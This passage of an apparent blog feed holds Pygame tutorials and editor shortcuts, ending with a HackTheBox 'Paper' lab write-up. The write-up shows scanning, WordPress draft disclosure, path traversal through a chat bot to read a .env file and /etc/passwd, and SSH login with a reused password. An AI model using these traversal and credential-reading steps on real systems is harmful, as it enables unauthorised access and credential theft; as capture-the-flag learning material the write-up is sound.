&lt;h2 id=&quot;find-in-file&quot;&gt;Find In File&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ctrl + f &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;multi-line-editing&quot;&gt;Multi-Line Editing&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;highlight + ctrl + d &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;move-lines&quot;&gt;Move Lines&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;alt + arrow keys &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;copying-a-line-multiple-times&quot;&gt;Copying A Line Multiple Times&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;alt + shift + arrow keys &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;hightlight-lines&quot;&gt;Hightlight Lines&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ctrl + l &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;closing-opened-files&quot;&gt;Closing Opened Files&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ctrl + w &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;command-pallette&quot;&gt;Command Pallette&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ctrl + p &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;command-pallette-commands&quot;&gt;Command Pallette Commands&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;– Command Execution 
:23 – Move to line 23 
@ – Symbols 
‘#’ – Sections &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;commenting-code&quot;&gt;Commenting Code&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;highlight + ctrl + &#x2F; &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;switching-through-opened-files&quot;&gt;Switching Through Opened Files&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ctrl + tab &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Jumping, Falling And Gravity In Pygame</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/jumping-and-gravity-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/jumping-and-gravity-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;gravity&quot;&gt;Gravity&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;gravity is not a linear function it’s a exponential function&lt;&#x2F;li&gt;
&lt;li&gt;The longer you fall the faster you fall(exponential)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;process&quot;&gt;Process&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;gravity += somevalue –&amp;gt; Gravity variable that increases constantly&lt;&#x2F;li&gt;
&lt;li&gt;palyer.y += gravity –&amp;gt; (The falling rate)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;# player falling down with gravity

player_gravity = 0 # global variable

# exponential function
player_gravity += 1
player_rectangle.y += player_gravity

screen.blit(player_surface, player_rectangle)

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;# player jumping with space and falling with gravity

player_gravity = 0 # global variable

# event loop to jump if the space is pressed
if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_SPACE:
                player_gravity = -20
                print(&amp;quot;jump&amp;quot;)

# event loop to jump if the player is clicked with the mouse
if event.type == pygame.MOUSEBUTTONDOWN:
            if player_rectangle.collidepoint((event.pos)):
                    player_gravity = -20


# exponential function (outside the event loop)
player_gravity += 1
player_rectangle.y += player_gravity

screen.blit(player_surface, player_rectangle)

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Keyboard Input In Pygame</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/keyboard-input/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/keyboard-input/</id>
        <content type="html">&lt;p&gt;There are 2 different ways of getting keyboard input:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;pygame.key&lt;&#x2F;li&gt;
&lt;li&gt;event loop&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;1-pygame-key&quot;&gt;1. pygame.key&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;great when using seperate controls inside classes.
&amp;gt;pygame.key.get_pressed() – returns an object that contains all the buttons and their states&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;keys = pygame.key.get_pressed() # stores the obj in the keys dictionary
# keys[pygame.K_SPACE] --&amp;gt; returns either 0 or 1
if keys[pygame.K_SPACE]: print(&amp;quot;jump&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;event-loop&quot;&gt;Event Loop&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;have a little bit more control over the controls compared to pygame.key&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;check if any button was pressed&lt;&#x2F;li&gt;
&lt;li&gt;work with a specific key&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;if event.type == pygame.KEYDOWN: #triggers when a key is pressed
    print(&amp;quot;key Down&amp;quot;)

if event.type == pygame.KEYUP: # triggers when a pressed key is released
    print(&amp;quot;key Up&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;if event.type == pygame.KEYDOWN:
    if event.key == pygame.K_SPACE:
        print(&amp;quot;jump&amp;quot;)

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Rectangles In Pygame</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/pygame-rectangles/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/pygame-rectangles/</id>
        <content type="html">&lt;h2 id=&quot;functions-of-rectangles&quot;&gt;Functions Of Rectangles&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Precise Positioning of Surfaces&lt;&#x2F;li&gt;
&lt;li&gt;Basic Collisions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;virtual-attributes-which-can-be-used-to-move-and-align-the-rectangles&quot;&gt;Virtual Attributes Which Can Be Used To Move And Align The Rectangles&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;x,y
top, left, bottom, right
topleft, bottomleft, topright, bottomright
midtop, midleft, midbottom, midright
center, centerx, centery
size, width, height
w,h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.vishalrashmika.com&#x2F;blog&#x2F;pygame-rectangles&#x2F;images&#x2F;rectangles.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;differences-between-surfaces-and-rectangles&quot;&gt;Differences Between Surfaces And Rectangles&lt;&#x2F;h2&gt;
&lt;p&gt;Surfaces:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Can only grab the origin point to adjust the surface&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Rectangles:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Can Grab Any Point(Virtual Attributes) to adjust and control the position                                                             |&lt;&#x2F;li&gt;
&lt;li&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;rectangles-for-precise-positioning-of-surfaces&quot;&gt;Rectangles For Precise Positioning of Surfaces&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Surface For Image information&lt;&#x2F;li&gt;
&lt;li&gt;Placement Via Rectangle&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;import pygame
from sys import exit

pygame.init()
screen = pygame.display.set_mode((576,400))
pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;)
clock = pygame.time.Clock()
ground_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;ground.png&amp;#x27;).convert_alpha()
sky_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;sky.png&amp;#x27;).convert_alpha() # 576 x 324
test_font = pygame.font.Font(&amp;#x27;assets&amp;#x2F;fonts&amp;#x2F;font1.ttf&amp;#x27;, 25)
text_surface = test_font.render(&amp;#x27;My Runner Game&amp;#x27;, False, &amp;#x27;Blue&amp;#x27;)


enemy_image = pygame.image.load(&amp;#x27;assets&amp;#x2F;characters&amp;#x2F;enemy&amp;#x2F;enemy.png&amp;#x27;).convert_alpha()
snail_x_pos = 450

############# Importing the player Image and creating a rectangle ##################
####################################################################################
player_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;characters&amp;#x2F;player&amp;#x2F;player.png&amp;#x27;).convert_alpha()
player_rectangle = player_surface.get_rect(midbottom = (200,324))# creating a recatngle of size player_surface and adjusting the position
####################################################################################
####################################################################################

while True:
    for event in pygame.event.get():  
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()

    screen.blit(sky_surface, (0,0))
    screen.blit(ground_surface, (0,76))
    screen.blit(text_surface, (200,50))

    screen.blit(enemy_image, (snail_x_pos, 187))
    snail_x_pos -= 4

    if snail_x_pos &amp;lt; -50:
        snail_x_pos = 570

    ######################### using the rectangle in display Surface #####################################
    ######################################################################################################

    screen.blit(player_surface, player_rectangle) # displaying the rectangle
    player_rectangle.left += 1 # moving the player
    print(player_rectangle.left) # measure the position    

    #######################################################################################################
    #######################################################################################################

    pygame.display.update()
    clock.tick(60)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Basic Animations in Pygame</title>
        <published>2023-06-09T00:00:00+00:00</published>
        <updated>2023-06-09T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/basic-animation-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/basic-animation-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;animating-static-images&quot;&gt;Animating Static Images&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;import pygame
from sys import exit

pygame.init()
screen = pygame.display.set_mode((576,400))
pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;)
clock = pygame.time.Clock()
ground_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;ground.png&amp;#x27;).convert_alpha()
sky_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;sky.png&amp;#x27;).convert_alpha()
test_font = pygame.font.Font(&amp;#x27;assets&amp;#x2F;fonts&amp;#x2F;font1.ttf&amp;#x27;, 25)
text_surface = test_font.render(&amp;#x27;My Runner Game&amp;#x27;, False, &amp;#x27;Blue&amp;#x27;)



##################### Importing the enemy Image ####################################
####################################################################################
enemy_image = pygame.image.load(&amp;#x27;assets&amp;#x2F;characters&amp;#x2F;enemy&amp;#x2F;enemy.png&amp;#x27;).convert_alpha()
snail_x_pos = 450
####################################################################################
####################################################################################

while True:
    for event in pygame.event.get():  
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()

    screen.blit(sky_surface, (0,0))
    screen.blit(ground_surface, (0,76)) # (400-324)
    screen.blit(text_surface, (200,50))

    ######################### Animating the enemy in display Surface #####################################
    ######################################################################################################

    # animation
    screen.blit(enemy_image, (snail_x_pos, 187))
    snail_x_pos -= 4 # can adjust the speed by value &amp;#x2F; direction by sign

    # looping the enemy to repeat the motion
    if snail_x_pos &amp;lt; -50:
        snail_x_pos = 570



    #######################################################################################################
    #######################################################################################################

    pygame.display.update()
    clock.tick(60)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Creating a window in pygame</title>
        <published>2023-06-09T00:00:00+00:00</published>
        <updated>2023-06-09T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/creating-a-window-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/creating-a-window-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;creating-a-window&quot;&gt;Creating A Window&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;import pygame
from sys import exit

pygame.init() # start pygame

screen = pygame.display.set_mode((800,400)) # creating display surface ((width,height))

pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;) # title of the game

clock = pygame.time.Clock() #controlling the frame rate

while True:
    for event in pygame.event.get():  # get all the events and loop through them
        if event.type == pygame.QUIT:
            pygame.quit() #end the game
            exit() # breaking the loop

    # draw elements
    #update everything
    pygame.display.update() #getting all the things and put them in the display surface
    clock.tick(60) # should not run the while true loop faster than 60x per second
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;common-event-types&quot;&gt;Common Event Types&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;QUIT&lt;&#x2F;li&gt;
&lt;li&gt;ACTIVEEVENT&lt;&#x2F;li&gt;
&lt;li&gt;KEYDOWN&lt;&#x2F;li&gt;
&lt;li&gt;KEYUP&lt;&#x2F;li&gt;
&lt;li&gt;MOUSEMOTION&lt;&#x2F;li&gt;
&lt;li&gt;MOUSEBUTTONUP&lt;&#x2F;li&gt;
&lt;li&gt;MOUSEBUTTONDOWN&lt;&#x2F;li&gt;
&lt;li&gt;JOYAXISMOTION&lt;&#x2F;li&gt;
&lt;li&gt;JOYBALLMOTION&lt;&#x2F;li&gt;
&lt;li&gt;JOYHATMOTION&lt;&#x2F;li&gt;
&lt;li&gt;JOYBUTTONUP&lt;&#x2F;li&gt;
&lt;li&gt;JOYBUTTONDOWN&lt;&#x2F;li&gt;
&lt;li&gt;VIDEORESIZE&lt;&#x2F;li&gt;
&lt;li&gt;VIDEOEXPOSE&lt;&#x2F;li&gt;
&lt;li&gt;USEREVENT&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Displaying Surfaces in Pygame</title>
        <published>2023-06-09T00:00:00+00:00</published>
        <updated>2023-06-09T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/displaying-surfaces-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/displaying-surfaces-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;surfaces&quot;&gt;Surfaces&lt;&#x2F;h2&gt;
&lt;p&gt;In order to draw or display any kind of image a surface is needed,&lt;&#x2F;p&gt;
&lt;p&gt;Two types of surfaces:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Display surface&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The game window&lt;&#x2F;li&gt;
&lt;li&gt;Must be unique&lt;&#x2F;li&gt;
&lt;li&gt;Is always visible&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Regular surface&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A single image&lt;&#x2F;li&gt;
&lt;li&gt;Needs to be put on display surface to be visible&lt;&#x2F;li&gt;
&lt;li&gt;Flexible amount&lt;&#x2F;li&gt;
&lt;li&gt;Only displayed when connect to the display surface&lt;&#x2F;li&gt;
&lt;li&gt;Regular Surfaces:-
Plain Colour surfaces&#x2F;
Image Surfaces&#x2F;
Text Surfaces&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;positions-in-pygame&quot;&gt;Positions in Pygame&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;point of origin (0,0)&lt;&#x2F;code&gt; is in the top left corner. In order to move right &lt;code&gt;x axis should be increased&lt;&#x2F;code&gt; and in order to move to bottom the &lt;code&gt;y axis should be increased&lt;&#x2F;code&gt;. If the size of the display surface is (1000, 600) the maximum x coordinate is 1000 and maximum y coordinate is 600. In order to display a surface of size (200, 300) at the bottom left corner :- (display width size - surface width size, display height size - screen height size) &#x2F; position_coordinates = (800,300).
&lt;code&gt;THE COORDINATE SYSTEM IS BASED ON PIXELS&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;creating-a-surface-with-plain-colour&quot;&gt;Creating A Surface With Plain Colour&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;import pygame
from sys import exit

pygame.init()
screen = pygame.display.set_mode((800,400))
pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;)
clock = pygame.time.Clock()

############## Creating and Adding Colour to s Surface #############################
####################################################################################
test_surface = pygame.Surface((100,200)) # Creating a new surface ((Widht, Height))
test_surface.fill(&amp;#x27;Red&amp;#x27;) # adding colour to the surface
####################################################################################
####################################################################################

while True:
    for event in pygame.event.get():  
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()


    ######################## Displaying the created surface in display Surface ###########################
    ######################################################################################################

    screen.blit(test_surface, (0,0))  # attach the surface to display surface. blit --&amp;gt; Block Image Transfer(putting one surface on another surface). (surface, position of the display surface)

    &amp;#x27;&amp;#x27;&amp;#x27;
    screen.blit(test_surface, (0,0)) --&amp;gt;
        Getting the top left corner(0,0) of the test_surface and placing it in the (0,0) of the diplay surface
        screen.blit(test_surface, (surface to be displayes, position of the display surface to be displayed))
    &amp;#x27;&amp;#x27;&amp;#x27;

    screen.blit(test_surface, (700,200)) # (display width size - surface width size, display height size - screen height size)   display on the bottom corner

    #######################################################################################################
    #######################################################################################################

    pygame.display.update()
    clock.tick(60)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;creating-a-surface-with-images&quot;&gt;Creating A Surface With Images&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;import pygame
from sys import exit

pygame.init()
screen = pygame.display.set_mode((800,400))
pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;)
clock = pygame.time.Clock()

##################### Importing an Image ###########################################
####################################################################################
test_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;sky.png&amp;#x27;).convert_alpha()

####################################################################################
####################################################################################

while True:
    for event in pygame.event.get():  
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()


    ######################## Displaying the Image in display Surface #####################################
    ######################################################################################################

    screen.blit(test_surface, (0,0))

    #######################################################################################################
    #######################################################################################################

    pygame.display.update()
    clock.tick(60)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;.convert_alpha()&lt;&#x2F;code&gt; convert the images so pygame can use them much more easier&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;creating-text&quot;&gt;Creating Text&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;creating an image of the text&lt;&#x2F;li&gt;
&lt;li&gt;placing it on the display surface&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;import pygame
from sys import exit

pygame.init()
screen = pygame.display.set_mode((800,400))
pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;)
clock = pygame.time.Clock()
test_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;sky.png&amp;#x27;)

############### Importing an font and creating text surface ########################
####################################################################################

test_font = pygame.font.Font(&amp;#x27;assets&amp;#x2F;fonts&amp;#x2F;font1.ttf&amp;#x27;, 50)
# pygame.font.Font(font type, font size). None --&amp;gt; default font

text_surface = test_font.render(&amp;#x27;My game&amp;#x27;, False, &amp;#x27;Blue&amp;#x27;)
# test_font.render(text information, anti aliasing, colour)
# anti aliasing --&amp;gt; smoothing the edges of the text

####################################################################################
####################################################################################

while True:
    for event in pygame.event.get():  
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()


    ################### Displaying the text surface in display Surface ###################################
    ######################################################################################################

    screen.blit(test_surface, (0,0))
    screen.blit(text_surface, (300,50))

    #######################################################################################################
    #######################################################################################################

    pygame.display.update()
    clock.tick(60)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Paper</title>
        <published>2022-05-24T00:00:00+00:00</published>
        <updated>2022-05-24T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/paper/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/paper/</id>
        <content type="html">&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;pbs.twimg.com&#x2F;media&#x2F;FKmnXsEXwAURwMy.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scanning&quot;&gt;Scanning&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s start with the Nmap scan.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC 10.10.11.143
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;nmap.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;web-enumeration&quot;&gt;Web Enumeration&lt;&#x2F;h1&gt;
&lt;p&gt;we found 3 open ports one is a web server let’s go and see that web&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;website.png&quot; alt=&quot;&quot; &#x2F;&gt;
Now let’s run nikto to find a vulnerability.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nikto -h http:&amp;#x2F;&amp;#x2F;10.10.11.143
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;nikto.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Take a look at the header ‘x-backend-server’. Maybe we can use that as a hostname for the IP of our target. So, let’s edit the hosts file. Open the &#x2F;etc&#x2F;hosts file using a text editor and edit it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;etchosts.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;now we can go and search for office.paper in a browser and see what it does. We can see a new page. It looks like WordPress.
now let’s enumerate the web for a little bit.
We can see something that is suspicious.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;comment.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;But in order to see the drafts we need admin credentials.
From the wappalyzer plugin that I had installed, I found that it run WordPress 5.2.3 .&lt;&#x2F;p&gt;
&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;vulnerability-analysis&quot;&gt;Vulnerability Analysis&lt;&#x2F;h3&gt;
&lt;p&gt;After searching I found a vulnerability to see drafts without admin creds.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;vulnerability.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now let’s see what we can find. It was successful.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;exploited.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And we get the secret that tells us about the new vhost and registration URL. let’s add the vhost in the &#x2F;etc&#x2F;hosts file.
&lt;br&gt;
After adding chat.office.paper to the hosts file we can go and see the employee chat system.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;rocketchat.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s create an account and see.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;login.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we are inside the dashboard let’s click on general.&lt;&#x2F;p&gt;
&lt;p&gt;In the chat, there is recyclops bot that helps the user to list the sales directory with the list command and with the file command we can view the content inside the file.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;general.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;let’s chat with him. I am using the list and file command to get the content inside the directory.&lt;&#x2F;p&gt;
&lt;p&gt;Went inside some directories but nothing seems interesting.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;notmusch.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The list command list the directory of the current path let’s try directory Path Traversal using ..&#x2F; .And we get the previous directory content. hubot directory looks interesting. Let’s check the content in that.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;much.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Got a .env file. .ENV file is usually used to store secrets.
&lt;br&gt;&lt;&#x2F;p&gt;
&lt;p&gt;let’s check the content in that using file ..&#x2F;hubot&#x2F;.env. And we got the username and password.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;usernamepassword.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s try these creds to log in inside rocket.chat. It was a failure.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;notallowed.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s check the user available in this machine using file ..&#x2F;..&#x2F;..&#x2F;etc&#x2F;passwd.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;etcpasswd.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Remember the owner of the files that we saw when we did our directory traversal? That was Dwight, right? So let’s try using his username and the password that we found on the .env file of hubot. Let’s SSH into the server.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ssh dwight@10.10.11.143
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;paper&#x2F;ssh.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;bdd37d03ff2e322e42c68c8688b85705&lt;&#x2F;code&gt; — User Flag&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;And we got the user.txt.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;&#x2F;h2&gt;
&lt;p&gt;To find a method to escalate our privileges I will use linpeas. First, let’s copy linpeas to the machine.&lt;&#x2F;p&gt;
